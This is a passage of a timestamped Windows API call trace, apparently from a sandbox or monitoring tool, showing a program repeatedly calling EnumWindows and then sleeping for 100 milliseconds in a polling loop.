[0252.352] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.352] Sleep (dwMilliseconds=0x64) [0252.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.354] Sleep (dwMilliseconds=0x64) [0252.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.357] Sleep (dwMilliseconds=0x64) [0252.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.359] Sleep (dwMilliseconds=0x64) [0252.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.360] Sleep (dwMilliseconds=0x64) [0252.362] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.362] Sleep (dwMilliseconds=0x64) [0252.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.363] Sleep (dwMilliseconds=0x64) [0252.365] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.365] Sleep (dwMilliseconds=0x64) [0252.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.367] Sleep (dwMilliseconds=0x64) [0252.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.370] Sleep (dwMilliseconds=0x64) [0252.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.387] Sleep (dwMilliseconds=0x64) [0252.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.389] Sleep (dwMilliseconds=0x64) [0252.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.393] Sleep (dwMilliseconds=0x64) [0252.395] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.395] Sleep (dwMilliseconds=0x64) [0252.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.397] Sleep (dwMilliseconds=0x64) [0252.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.400] Sleep (dwMilliseconds=0x64) [0252.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.402] Sleep (dwMilliseconds=0x64) [0252.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.405] Sleep (dwMilliseconds=0x64) [0252.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.407] Sleep (dwMilliseconds=0x64) [0252.408] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.408] Sleep (dwMilliseconds=0x64) [0252.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.410] Sleep (dwMilliseconds=0x64) [0252.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.412] Sleep (dwMilliseconds=0x64) [0252.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.413] Sleep (dwMilliseconds=0x64) [0252.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.415] Sleep (dwMilliseconds=0x64) [0252.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.417] Sleep (dwMilliseconds=0x64) [0252.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.418] Sleep (dwMilliseconds=0x64) [0252.420] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.420] Sleep (dwMilliseconds=0x64) [0252.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.423] Sleep (dwMilliseconds=0x64) [0252.424] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.424] Sleep (dwMilliseconds=0x64) [0252.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.426] Sleep (dwMilliseconds=0x64) [0252.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.430] Sleep (dwMilliseconds=0x64) [0252.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.432] Sleep (dwMilliseconds=0x64) [0252.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.433] Sleep (dwMilliseconds=0x64) [0252.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.436] Sleep (dwMilliseconds=0x64) [0252.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.438] Sleep (dwMilliseconds=0x64) [0252.441] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.441] Sleep (dwMilliseconds=0x64) [0252.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.443] Sleep (dwMilliseconds=0x64) [0252.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.445] Sleep (dwMilliseconds=0x64) [0252.447] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.447] Sleep (dwMilliseconds=0x64) [0252.460] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.461] Sleep (dwMilliseconds=0x64) [0252.464] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.464] Sleep (dwMilliseconds=0x64) [0252.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.466] Sleep (dwMilliseconds=0x64) [0252.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.470] Sleep (dwMilliseconds=0x64) [0252.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.472] Sleep (dwMilliseconds=0x64) [0252.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.475] Sleep (dwMilliseconds=0x64) [0252.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.477] Sleep (dwMilliseconds=0x64) [0252.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.479] Sleep (dwMilliseconds=0x64) [0252.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.481] Sleep (dwMilliseconds=0x64) [0252.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.483] Sleep (dwMilliseconds=0x64) [0252.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.485] Sleep (dwMilliseconds=0x64) [0252.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.487] Sleep (dwMilliseconds=0x64) [0252.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.489] Sleep (dwMilliseconds=0x64) [0252.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.492] Sleep (dwMilliseconds=0x64) [0252.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.494] Sleep (dwMilliseconds=0x64) [0252.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.496] Sleep (dwMilliseconds=0x64) [0252.498] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.498] Sleep (dwMilliseconds=0x64) [0252.500] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.500] Sleep (dwMilliseconds=0x64) [0252.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.503] Sleep (dwMilliseconds=0x64) [0252.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.507] Sleep (dwMilliseconds=0x64) [0252.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.509] Sleep (dwMilliseconds=0x64) [0252.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.511] Sleep (dwMilliseconds=0x64) [0252.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.513] Sleep (dwMilliseconds=0x64) [0252.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.515] Sleep (dwMilliseconds=0x64) [0252.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.566] Sleep (dwMilliseconds=0x64) [0252.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.679] Sleep (dwMilliseconds=0x64) [0252.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.696] Sleep (dwMilliseconds=0x64) [0252.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.698] Sleep (dwMilliseconds=0x64) [0252.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.700] Sleep (dwMilliseconds=0x64) [0252.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.702] Sleep (dwMilliseconds=0x64) [0252.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.704] Sleep (dwMilliseconds=0x64) [0252.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.706] Sleep (dwMilliseconds=0x64) [0252.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.708] Sleep (dwMilliseconds=0x64) [0252.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.828] Sleep (dwMilliseconds=0x64) [0252.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.831] Sleep (dwMilliseconds=0x64) [0252.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.838] Sleep (dwMilliseconds=0x64) [0252.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.839] Sleep (dwMilliseconds=0x64) [0252.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.842] Sleep (dwMilliseconds=0x64) [0252.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.844] Sleep (dwMilliseconds=0x64) [0252.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.846] Sleep (dwMilliseconds=0x64) [0252.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.875] Sleep (dwMilliseconds=0x64) [0252.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0252.941] Sleep (dwMilliseconds=0x64) [0253.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.034] Sleep (dwMilliseconds=0x64) [0253.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.035] Sleep (dwMilliseconds=0x64) [0253.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.042] Sleep (dwMilliseconds=0x64) [0253.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.045] Sleep (dwMilliseconds=0x64) [0253.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.046] Sleep (dwMilliseconds=0x64) [0253.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.048] Sleep (dwMilliseconds=0x64) [0253.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.050] Sleep (dwMilliseconds=0x64) [0253.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.052] Sleep (dwMilliseconds=0x64) [0253.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.053] Sleep (dwMilliseconds=0x64) [0253.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.055] Sleep (dwMilliseconds=0x64) [0253.078] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.078] Sleep (dwMilliseconds=0x64) [0253.235] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.235] Sleep (dwMilliseconds=0x64) [0253.333] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.334] Sleep (dwMilliseconds=0x64) [0253.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.516] Sleep (dwMilliseconds=0x64) [0253.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.593] Sleep (dwMilliseconds=0x64) [0253.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.700] Sleep (dwMilliseconds=0x64) [0253.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.705] Sleep (dwMilliseconds=0x64) [0253.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.707] Sleep (dwMilliseconds=0x64) [0253.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.715] Sleep (dwMilliseconds=0x64) [0253.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.717] Sleep (dwMilliseconds=0x64) [0253.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.727] Sleep (dwMilliseconds=0x64) [0253.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.743] Sleep (dwMilliseconds=0x64) [0253.852] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0253.852] Sleep (dwMilliseconds=0x64) [0254.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0254.009] Sleep (dwMilliseconds=0x64) [0254.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0254.196] Sleep (dwMilliseconds=0x64) [0254.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0254.344] Sleep (dwMilliseconds=0x64) [0254.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0254.495] Sleep (dwMilliseconds=0x64) [0254.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0254.665] Sleep (dwMilliseconds=0x64) [0254.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0254.819] Sleep (dwMilliseconds=0x64) [0254.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0254.944] Sleep (dwMilliseconds=0x64) [0254.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0254.971] Sleep (dwMilliseconds=0x64) [0254.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0254.981] Sleep (dwMilliseconds=0x64) [0255.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.021] Sleep (dwMilliseconds=0x64) [0255.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.111] Sleep (dwMilliseconds=0x64) [0255.113] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.113] Sleep (dwMilliseconds=0x64) [0255.115] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.115] Sleep (dwMilliseconds=0x64) [0255.116] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.116] Sleep (dwMilliseconds=0x64) [0255.118] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.118] Sleep (dwMilliseconds=0x64) [0255.120] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.120] Sleep (dwMilliseconds=0x64) [0255.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.122] Sleep (dwMilliseconds=0x64) [0255.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.125] Sleep (dwMilliseconds=0x64) [0255.127] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.127] Sleep (dwMilliseconds=0x64) [0255.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.129] Sleep (dwMilliseconds=0x64) [0255.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.131] Sleep (dwMilliseconds=0x64) [0255.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.133] Sleep (dwMilliseconds=0x64) [0255.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.136] Sleep (dwMilliseconds=0x64) [0255.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.138] Sleep (dwMilliseconds=0x64) [0255.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.139] Sleep (dwMilliseconds=0x64) [0255.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.141] Sleep (dwMilliseconds=0x64) [0255.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.142] Sleep (dwMilliseconds=0x64) [0255.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.144] Sleep (dwMilliseconds=0x64) [0255.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.147] Sleep (dwMilliseconds=0x64) [0255.149] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.149] Sleep (dwMilliseconds=0x64) [0255.151] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.151] Sleep (dwMilliseconds=0x64) [0255.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.152] Sleep (dwMilliseconds=0x64) [0255.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.154] Sleep (dwMilliseconds=0x64) [0255.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.155] Sleep (dwMilliseconds=0x64) [0255.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.170] Sleep (dwMilliseconds=0x64) [0255.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.331] Sleep (dwMilliseconds=0x64) [0255.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.344] Sleep (dwMilliseconds=0x64) [0255.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.358] Sleep (dwMilliseconds=0x64) [0255.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.360] Sleep (dwMilliseconds=0x64) [0255.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.362] Sleep (dwMilliseconds=0x64) [0255.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.363] Sleep (dwMilliseconds=0x64) [0255.365] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.365] Sleep (dwMilliseconds=0x64) [0255.367] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.367] Sleep (dwMilliseconds=0x64) [0255.369] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.369] Sleep (dwMilliseconds=0x64) [0255.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.371] Sleep (dwMilliseconds=0x64) [0255.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.437] Sleep (dwMilliseconds=0x64) [0255.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.455] Sleep (dwMilliseconds=0x64) [0255.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.515] Sleep (dwMilliseconds=0x64) [0255.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.526] Sleep (dwMilliseconds=0x64) [0255.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.535] Sleep (dwMilliseconds=0x64) [0255.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.537] Sleep (dwMilliseconds=0x64) [0255.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.551] Sleep (dwMilliseconds=0x64) [0255.664] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.665] Sleep (dwMilliseconds=0x64) [0255.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.666] Sleep (dwMilliseconds=0x64) [0255.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.668] Sleep (dwMilliseconds=0x64) [0255.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.670] Sleep (dwMilliseconds=0x64) [0255.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.699] Sleep (dwMilliseconds=0x64) [0255.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.809] Sleep (dwMilliseconds=0x64) [0255.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.810] Sleep (dwMilliseconds=0x64) [0255.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.812] Sleep (dwMilliseconds=0x64) [0255.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.814] Sleep (dwMilliseconds=0x64) [0255.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.815] Sleep (dwMilliseconds=0x64) [0255.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.817] Sleep (dwMilliseconds=0x64) [0255.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.821] Sleep (dwMilliseconds=0x64) [0255.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.841] Sleep (dwMilliseconds=0x64) [0255.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.858] Sleep (dwMilliseconds=0x64) [0255.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0255.904] Sleep (dwMilliseconds=0x64) [0256.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.027] Sleep (dwMilliseconds=0x64) [0256.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.029] Sleep (dwMilliseconds=0x64) [0256.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.030] Sleep (dwMilliseconds=0x64) [0256.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.032] Sleep (dwMilliseconds=0x64) [0256.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.033] Sleep (dwMilliseconds=0x64) [0256.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.036] Sleep (dwMilliseconds=0x64) [0256.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.038] Sleep (dwMilliseconds=0x64) [0256.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.039] Sleep (dwMilliseconds=0x64) [0256.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.041] Sleep (dwMilliseconds=0x64) [0256.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.042] Sleep (dwMilliseconds=0x64) [0256.045] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.045] Sleep (dwMilliseconds=0x64) [0256.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.047] Sleep (dwMilliseconds=0x64) [0256.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.059] Sleep (dwMilliseconds=0x64) [0256.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.169] Sleep (dwMilliseconds=0x64) [0256.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.181] Sleep (dwMilliseconds=0x64) [0256.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.192] Sleep (dwMilliseconds=0x64) [0256.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.194] Sleep (dwMilliseconds=0x64) [0256.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.196] Sleep (dwMilliseconds=0x64) [0256.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.202] Sleep (dwMilliseconds=0x64) [0256.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.245] Sleep (dwMilliseconds=0x64) [0256.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.312] Sleep (dwMilliseconds=0x64) [0256.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.313] Sleep (dwMilliseconds=0x64) [0256.315] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.315] Sleep (dwMilliseconds=0x64) [0256.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.316] Sleep (dwMilliseconds=0x64) [0256.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.318] Sleep (dwMilliseconds=0x64) [0256.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.319] Sleep (dwMilliseconds=0x64) [0256.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.321] Sleep (dwMilliseconds=0x64) [0256.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.322] Sleep (dwMilliseconds=0x64) [0256.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.324] Sleep (dwMilliseconds=0x64) [0256.325] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.325] Sleep (dwMilliseconds=0x64) [0256.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.327] Sleep (dwMilliseconds=0x64) [0256.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.328] Sleep (dwMilliseconds=0x64) [0256.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.330] Sleep (dwMilliseconds=0x64) [0256.331] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.331] Sleep (dwMilliseconds=0x64) [0256.333] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.333] Sleep (dwMilliseconds=0x64) [0256.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.334] Sleep (dwMilliseconds=0x64) [0256.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.336] Sleep (dwMilliseconds=0x64) [0256.339] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.339] Sleep (dwMilliseconds=0x64) [0256.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.342] Sleep (dwMilliseconds=0x64) [0256.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.583] Sleep (dwMilliseconds=0x64) [0256.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.584] Sleep (dwMilliseconds=0x64) [0256.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.586] Sleep (dwMilliseconds=0x64) [0256.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.588] Sleep (dwMilliseconds=0x64) [0256.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.590] Sleep (dwMilliseconds=0x64) [0256.591] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.591] Sleep (dwMilliseconds=0x64) [0256.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.593] Sleep (dwMilliseconds=0x64) [0256.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.697] Sleep (dwMilliseconds=0x64) [0256.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.725] Sleep (dwMilliseconds=0x64) [0256.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.727] Sleep (dwMilliseconds=0x64) [0256.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.728] Sleep (dwMilliseconds=0x64) [0256.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.738] Sleep (dwMilliseconds=0x64) [0256.740] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.740] Sleep (dwMilliseconds=0x64) [0256.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.742] Sleep (dwMilliseconds=0x64) [0256.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.743] Sleep (dwMilliseconds=0x64) [0256.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.745] Sleep (dwMilliseconds=0x64) [0256.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.746] Sleep (dwMilliseconds=0x64) [0256.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.748] Sleep (dwMilliseconds=0x64) [0256.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.750] Sleep (dwMilliseconds=0x64) [0256.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.751] Sleep (dwMilliseconds=0x64) [0256.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.752] Sleep (dwMilliseconds=0x64) [0256.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.754] Sleep (dwMilliseconds=0x64) [0256.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.756] Sleep (dwMilliseconds=0x64) [0256.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.758] Sleep (dwMilliseconds=0x64) [0256.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.759] Sleep (dwMilliseconds=0x64) [0256.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.761] Sleep (dwMilliseconds=0x64) [0256.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.763] Sleep (dwMilliseconds=0x64) [0256.764] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.765] Sleep (dwMilliseconds=0x64) [0256.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.766] Sleep (dwMilliseconds=0x64) [0256.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.768] Sleep (dwMilliseconds=0x64) [0256.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.770] Sleep (dwMilliseconds=0x64) [0256.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0256.772] Sleep 